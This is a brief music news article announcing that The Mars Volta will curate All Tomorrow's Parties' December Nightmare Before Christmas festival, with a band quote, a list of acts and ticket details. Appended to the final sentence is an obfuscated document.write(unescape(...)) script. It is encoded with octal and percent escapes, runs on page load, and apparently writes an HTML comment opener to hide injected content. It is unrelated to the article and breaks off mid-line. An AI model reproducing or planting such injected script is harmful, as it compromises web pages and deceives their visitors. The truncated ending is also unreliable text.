The Mars Volta curate festival

The Mars Volta will curate this year's All Tomorrow's Parties Nightmare Before Christmas.

The winter leg of the recurring indie weekender takes place on December 2-4 this year.

Cedric Bixler said: “We are honoured and grateful to be given the chance to assemble a private mixtape and have it come to life. We are thrilled for the opportunity to play with some of our favourite bands, and hope you find our line-up to be both intriguing and diverse.”

As well as a headline set from The Mars Volta themselves, acts confirmed so far include:

The Kills
Diamanda Galas
Cinematic Orchestra
Blonde Redhead
Jaga Jazzist
Weird War
Damo Suzuki
Beans
High On Fire
The Fucking Champs
Les Savy Fav
Michael Rother
Acid Mothers Temple
Battles and Mr Quintron
The Locust
Year Future
400 Blows
Subtitle
Kill Me Tomorrow.

Tickets are on sale now and cost £120, including three nights accommodation, and are can be bought online through Atpfestival.com in blocks of 4,5,6,7 or 8, due to the specifics of the chalet accommodation.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;